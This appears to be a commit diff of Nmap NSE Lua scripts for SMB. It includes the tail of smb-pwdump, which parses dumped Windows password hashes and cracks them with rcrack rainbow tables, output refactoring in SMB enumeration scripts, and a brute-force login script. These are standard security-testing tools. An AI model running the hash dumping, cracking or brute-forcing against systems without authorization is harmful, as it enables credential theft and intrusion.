local hex1, hex2
local ascii1, ascii2
local password
local i
-- First, find the last place in the string that starts with "hex:"
repeat
local _, pos = string.find(line, " hex:", start_hex1)
if(pos ~= nil) then
start_hex1 = pos + 1
end
until pos == nil
-- Get the first part of the hex
if(string.sub(line, start_hex1, start_hex1 + 9) == "<notfound>") then
-- If it wasn't found, then set it as such and go to after the "not found" part
ascii1 = "<notfound>"
start_hex2 = start_hex1 + 10
else
-- If it was found, convert to ascii
ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
start_hex2 = start_hex1 + 14
end
-- Get the second part of the hex
if(string.sub(line, start_hex2) == "") then
ascii2 = ""
elseif(string.sub(line, start_hex2, start_hex2 + 9) == "<notfound>") then
-- It wasn't found
ascii2 = "<notfound>"
else
-- It was found, convert to ascii
ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
end
-- Join the two halves of the password together
password = ascii1 .. ascii2
-- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
i = string.find(line, " +" .. password)
username = string.sub(line, 1, i - 1)
-- Finally, find the username in the account table and add our entry
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
accounts[i]['password'] = password
end
end
end
end
end
-- Close the process handle
file:close()
-- Remove the pwdump file
os.remove(pwdump_file)
return true, accounts
end
action = function(host)
local status, results
local response = " \n"
local rcrack = "rcrack"
local rtable = nil
-- Check if we have the necessary files
if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
local err = " \n"
err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
if(nmap.fetchfile(FILE1) == nil) then
err = err .. "- " .. FILE1 .. "\n"
end
if(nmap.fetchfile(FILE2) == nil) then
err = err .. "- " .. FILE2 .. "\n"
end
err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
err = err .. string.format("<http://foofus.net/fizzgig/pwdump/downloads.htm>")
return err
end
status, results = go(host)
if(status == false) then
return "ERROR: " .. results
end
-- Only try cracking if strict is turned off
if(nmap.registry.args.strict == nil) then
-- Override the rcrack program
if(nmap.registry.args.rcrack ~= nil) then
rcrack = nmap.registry.args.rcrack
end
-- Check if a table was passed
if(nmap.registry.args.rtable ~= nil) then
rtable = nmap.registry.args.rtable
end
-- Check a spelling mistake that I keep making
if(nmap.registry.args.rtables ~= nil) then
rtable = nmap.registry.args.rtables
end
-- Check if we actually got a table
if(rtable ~= nil) then
status, crack_results = rainbow(results, rcrack, rtable)
if(status == false) then
response = "ERROR cracking: " .. crack_results .. "\n"
else
results = crack_results
end
end
response = response .. accounts_to_pwdump(results, false)
else
response = response .. accounts_to_pwdump(results, true)
end
return response
end

View File

@@ -18,19 +18,18 @@ set the username and password, etc.), but it probably won't ever require them.
-- sudo nmap -sU -sS --script smb-security-mode.nse -p U:137,T:139 127.0.0.1 -- sudo nmap -sU -sS --script smb-security-mode.nse -p U:137,T:139 127.0.0.1
-- --
--@output --@output
-- | smb-security-mode: User-level authentication -- Host script results:
-- | smb-security-mode: Challenge/response passwords supported -- | smb-security-mode:
-- |_ smb-security-mode: Message signing supported -- | | Account that was used for smb scripts: administrator
-- | | User-level authentication
-- | | SMB Security: Challenge/response passwords supported
-- |_ |_ Message signing disabled (dangerous, but default)
----------------------------------------------------------------------- -----------------------------------------------------------------------
author = "Ron Bowes" author = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"} categories = {"discovery", "safe"}
-- Set the runlevel to above 1 to ensure this runs after the bulk of the scripts. That lets us more effectively
-- find out which account we've been using.
runlevel = 1.01
require 'smb' require 'smb'
require 'stdnse' require 'stdnse'
@@ -48,58 +47,49 @@ action = function(host)
status, state = smb.start(host) status, state = smb.start(host)
if(status == false) then if(status == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, state)
return "ERROR: " .. state
else
return nil
end
end end
status, err = smb.negotiate_protocol(state, overrides) status, err = smb.negotiate_protocol(state, overrides)
if(status == false) then if(status == false) then
smb.stop(state) smb.stop(state)
if(nmap.debugging() > 0) then return stdnse.format_output(false, err)
return "ERROR: " .. err
else
return nil
end
end end
local security_mode = state['security_mode'] local security_mode = state['security_mode']
local response = "" local response = {}
local result, username, domain = smb.get_account(host) local result, username, domain = smb.get_account(host)
if(result ~= false) then if(result ~= false) then
response = string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, '<blank>')) table.insert(response, string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, '<blank>')))
end end
-- User-level authentication or share-level authentication -- User-level authentication or share-level authentication
if(bit.band(security_mode, 1) == 1) then if(bit.band(security_mode, 1) == 1) then
response = response .. "User-level authentication\n" table.insert(response, "User-level authentication")
else else
response = response .. " Share-level authentication\n" table.insert(response, "Share-level authentication (dangerous)")
end end
-- Challenge/response supported? -- Challenge/response supported?
if(bit.band(security_mode, 2) == 0) then if(bit.band(security_mode, 2) == 0) then
response = response .. "SMB Security: Plaintext only\n" table.insert(response, "Plaintext passwords required (dangerous)")
else else
response = response .. "SMB Security: Challenge/response passwords supported\n" table.insert(response, "SMB Security: Challenge/response passwords supported")
end end
-- Message signing supported/required? -- Message signing supported/required?
if(bit.band(security_mode, 8) == 8) then if(bit.band(security_mode, 8) == 8) then
response = response .. "SMB Security: Message signing required\n" table.insert(response, "Message signing required")
elseif(bit.band(security_mode, 4) == 4) then elseif(bit.band(security_mode, 4) == 4) then
response = response .. "SMB Security: Message signing supported\n" table.insert(response, "Message signing supported")
else else
response = response .. "SMB Security: Message signing not supported\n" table.insert(response, "Message signing disabled (dangerous, but default)")
end end
smb.stop(state) smb.stop(state)
return response return stdnse.format_output(true, response)
end end

View File

@@ -21,9 +21,9 @@ up to version 1.0.3 (and possibly higher).
-- @output -- @output
-- Host script results: -- Host script results:
-- | smb-server-stats: -- | smb-server-stats:
-- | Server statistics collected since 2008-12-12 14:53:27 (89d17h37m48s): -- | | Server statistics collected since 2009-09-22 09:56:00 (48d5h53m36s):
-- | |_ 22884718 bytes (2.95 b/s) sent, 28082489 bytes (3.62 b/s) received -- | | | 6513655 bytes (1.56 b/s) sent, 40075383 bytes (9.61 b/s) received
-- |_ |_ 5759 failed logins, 16 permission errors, 0 system errors, 0 print jobs, 1273 files opened -- |_ |_ |_ 19323 failed logins, 179 permission errors, 0 system errors, 0 print jobs, 2921 files opened
----------------------------------------------------------------------- -----------------------------------------------------------------------
author = "Ron Bowes" author = "Ron Bowes"
@@ -42,23 +42,21 @@ end
action = function(host) action = function(host)
local result, stats local result, stats
local response = " \n" local response = {}
local subresponse = {}
result, stats = msrpc.get_server_stats(host) result, stats = msrpc.get_server_stats(host)
if(result == false) then if(result == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, response)
return "ERROR: " .. stats
else
return nil
end
end end
response = response .. string.format("Server statistics collected since %s (%s):\n", stats['start_str'], stats['period_str']) table.insert(response, string.format("Server statistics collected since %s (%s):", stats['start_str'], stats['period_str']))
response = response .. string.format("|_ %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond']) table.insert(subresponse, string.format("%d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond']))
response = response .. string.format("|_ %d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened\n", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens']) table.insert(subresponse, string.format("%d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens']))
table.insert(response, subresponse)
return response return stdnse.format_output(true, response)
end end

View File

@@ -26,26 +26,20 @@ the system, besides showing a message box to the user.
-- @output -- @output
-- Host script results: -- Host script results:
-- | smb-system-info: -- | smb-system-info:
-- | OS Details -- | | OS Details
-- | |_ Microsoft Windows Server 2003 Service Pack 2 (ServerNT 5.2 build 3790) -- | | | Microsoft Windows 2000 Service Pack 4 (ServerNT 5.0 build 2195)
-- | |_ Installed on 2007-11-26 23:40:40 -- | | | Installed on 2008-10-10 05:47:19
-- | |_ Registered to Ron Bowes (organization: MYCOMPANY) -- | | | Registered to Ron (organization: Government of Manitoba)
-- | |_ Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Microsoft SQL Server\90\Tools\binn\;C:\Program Files\IBM\Rational AppScan\ -- | | | Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Graphviz2.20\Bin;
-- | |_ Systemroot: C:\WINDOWS -- | | | Systemroot: C:\WINNT
-- | |_ Page files: C:\pagefile.sys 2046 4092 (cleared at shutdown => 0) -- | | |_ Page files: C:\pagefile.sys 192 384 (cleared at shutdown => 0)
-- | Hardware -- | | Hardware
-- | |_ CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel] -- | | | CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2800mhz GenuineIntel]
-- | |_ Identifier 0: x86 Family 15 Model 2 Stepping 9 -- | | | |_ Identifier 0: x86 Family 15 Model 3 Stepping 8
-- | |_ CPU 1: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel] -- | | |_ Video driver: VMware SVGA II
-- | |_ Identifier 1: x86 Family 15 Model 2 Stepping 9 -- | | Browsers
-- | |_ CPU 2: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel] -- | | | Internet Explorer 6.0000
-- | |_ Identifier 2: x86 Family 15 Model 2 Stepping 9 -- |_ |_ |_ Firefox 3.0.12 (en-US)
-- | |_ CPU 3: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
-- | |_ Identifier 3: x86 Family 15 Model 2 Stepping 9
-- | |_ Video driver: RAGE XL PCI Family (Microsoft Corporation)
-- | Browsers
-- | |_ Internet Explorer 7.0000
-- |_ |_ Firefox 3.0.3 (en-US)
----------------------------------------------------------------------- -----------------------------------------------------------------------
@@ -59,6 +53,8 @@ require 'msrpc'
require 'smb' require 'smb'
require 'stdnse' require 'stdnse'
-- TODO: This script needs some love
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
@@ -183,59 +179,62 @@ action = function(host)
status, result = get_info_registry(host) status, result = get_info_registry(host)
if(status == false) then if(status == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, result)
return "ERROR: " .. result
else
return nil
end
else
local response = " \n"
if(result['status-os'] == true) then
response = response .. string.format("OS Details\n")
response = response .. string.format("|_ %s %s (%s %s build %s)\n", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])
response = response .. string.format("|_ Installed on %s\n", result['installdate'])
response = response .. string.format("|_ Registered to %s (organization: %s)\n", result['registeredowner'], result['registeredorganization'])
response = response .. string.format("|_ Path: %s\n", result['path'])
response = response .. string.format("|_ Systemroot: %s\n", result['systemroot'])
response = response .. string.format("|_ Page files: %s (cleared at shutdown => %s)\n", result['pagingfiles'], result['clearpagefileatshutdown'])
response = response .. string.format("Hardware\n")
for i = 0, result['number_of_processors'] - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
response = response .. string.format("|_ CPU %d: %s [%dmhz %s]\n", i, result['processornamestring'..i], result['~mhz'..i], result['vendoridentifier'..i])
response = response .. string.format("|_ Identifier %d: %s\n", i, result['identifier'..i])
end
response = response .. string.format("|_ Video driver: %s\n", result['video_driverdesc'])
response = response .. string.format("Browsers\n")
response = response .. string.format("|_ Internet Explorer %s\n", result['ie_version'])
if(result['status-ff_version']) then
response = response .. string.format("|_ Firefox %s\n", result['ff_version'])
end
elseif(result['status-productname'] == true) then
if(nmap.debugging() > 0) then
response = response .. string.format("|_ Access was denied for certain values; try an administrative account for more complete information\n")
end
response = response .. string.format("OS Details\n")
response = response .. string.format("|_ %s %s (%s %s build %s)\n", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])
response = response .. string.format("|_ Installed on %s\n", result['installdate'])
response = response .. string.format("|_ Registered to %s (organization: %s)\n", result['registeredowner'], result['registeredorganization'])
response = response .. string.format("|_ Systemroot: %s\n", result['systemroot'])
else
if(nmap.debugging() > 0) then
response = string.format("|_ Account being used was unable to probe for information, try using an administrative account\n")
else
response = nil
end
end
return response
end end
local response = {}
if(result['status-os'] == true) then
local osdetails = {}
osdetails['name'] = "OS Details"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Path: %s", result['path']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
table.insert(response, osdetails)
local hardware = {}
hardware['name'] = "Hardware"
for i = 0, result['number_of_processors'] - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
local processor = {}
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
table.insert(hardware, processor)
end
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
table.insert(response, hardware)
local browsers = {}
browsers['name'] = "Browsers"
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
if(result['status-ff_version']) then
table.insert(browsers, string.format("Firefox %s", result['ff_version']))
end
table.insert(response, browsers)
return stdnse.format_output(true, response)
elseif(result['status-productname'] == true) then
local osdetails = {}
osdetails['name'] = 'OS Details'
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(response, osdetails)
return stdnse.format_output(true, response)
end
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
end end

View File

@@ -137,19 +137,19 @@ local brute_cred = function(user, pass, soc)
return 1, "error -> this should never happen" return 1, "error -> this should never happen"
end end
local function go(host, port) action = function(host, port)
local pair, status local pair, status
local user, pass, count, rbuf local user, pass, count, rbuf
local usernames, passwords local usernames, passwords
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if(not(status)) then if(not(status)) then
return false, usernames stdnse.format_output(false, usernames)
end end
status, passwords = unpwdb.passwords() status, passwords = unpwdb.passwords()
if(not(status)) then if(not(status)) then
return false, passwords return stdnse.format_output(false, passwords)
end end
pair = nil pair = nil
@@ -160,7 +160,7 @@ local function go(host, port)
local soc, line, best_opt = comm.tryssl(host, port, "\n",opts) local soc, line, best_opt = comm.tryssl(host, port, "\n",opts)
if not soc then if not soc then
return false, "Unable to open connection" return stdnse.format_output(false, "Unable to open connection")
end end
-- continually try user/pass pairs (reconnecting, if we have to) -- continually try user/pass pairs (reconnecting, if we have to)
@@ -176,7 +176,7 @@ local function go(host, port)
pass = passwords() pass = passwords()
if(not(pass)) then if(not(pass)) then
return false, "No accounts found" return stdnse.format_output(true, "No accounts found")
end end
end end
@@ -199,21 +199,9 @@ local function go(host, port)
status, pair = brute_cred(user, pass, soc) status, pair = brute_cred(user, pass, soc)
end end
soc:close() soc:close()
return true, pair
return pair
end end
action = function(host, port)
local status, result = go(host, port)
if(not(status)) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
end
else
return result
end
end